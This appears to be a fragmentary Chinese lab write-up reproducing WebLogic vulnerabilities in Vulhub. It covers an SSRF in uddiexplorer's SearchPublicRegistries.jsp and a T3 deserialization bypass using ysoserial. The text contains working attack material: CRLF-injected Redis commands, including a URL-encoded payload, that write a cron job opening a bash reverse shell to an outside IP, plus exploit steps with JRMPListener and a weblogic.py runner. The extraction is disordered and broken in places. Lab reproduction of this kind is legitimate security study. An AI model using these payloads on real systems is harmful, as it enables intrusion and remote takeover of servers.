http://ip:7001/uddiexplorer/
,可以看到uddiexplorer应用即搭建成功。$ docker-compose up -d # 启动
uddiexplorer/SearchPublicRegistries.jsp
,点击左侧Search Public Registries
功能来到SearchPublicRegistries.jsp
页面,点击Search
并使用Burp抓包operator
参数修改为想要探测的http://IP:Port
,如http://127.0.0.1:7001
could not connect over HTTP to server
did not have a valid SOAP content-type
通过此SSRF漏洞,还可以对目标内网中的Redis服务器进行攻击。原因是因为这里可以通过传入
%0a%0d
来注入换行符,而Redis是通过换行符来分隔每条命令的
Exited (139)
错误,根据Issue #46所说可能是Kali下Docker的兼容性问题,最后在VPS上重新搭建Vulhub进行复现172.*
。这里复现测试所以直接进入Redis对应的容器中查看IP$ docker ps -a # 查看容器ID
$ docker exec -it <容器ID> bash # 进入容器
172.19.0.2
,探测一下6379
端口/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/47.113.106.101/20000 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
%0d0a
为换行符operator=http://172.19.0.2:6379/test
%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%30%2e%31%2f%32%30%30%30%30%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65
test
Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。该漏洞通过T3协议发送恶意的反序列化数据绕过了Weblogic的黑名单,成功反序列化执行任意命令。但该漏洞利用条件较高,官方也归类为需要身份认证。
这个漏洞需要满足以下两个条件:
SerializedSystemIni.dat
文件192.168.8.37
192.168.8.23
weblogic
项目中找到SerializedSystemIni.dat
文件,复制到工具目录的security
目录下。文件中存在一个加密的Key,这个Key实际上每个weblogic都不一样,所以官方给这个漏洞评价为授权状态下Getshell。weblogic/wsee/jaxws/persistence/PersistentContext.java
中的 getObject
修改为攻击机IP地址和端口ysoserial.jar
移动到libs
目录,执行以下命令,这里弹个计算器$ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"
Poc.java
生成poc.ser
序列化文件。(这一步我是在win10环境下编译的,注意需要复制一份SerializedSystemIni
文件以及修改PersistentContext.java
的IP地址端口)$ python weblogic.py <靶机IP> <靶机端口> poc.ser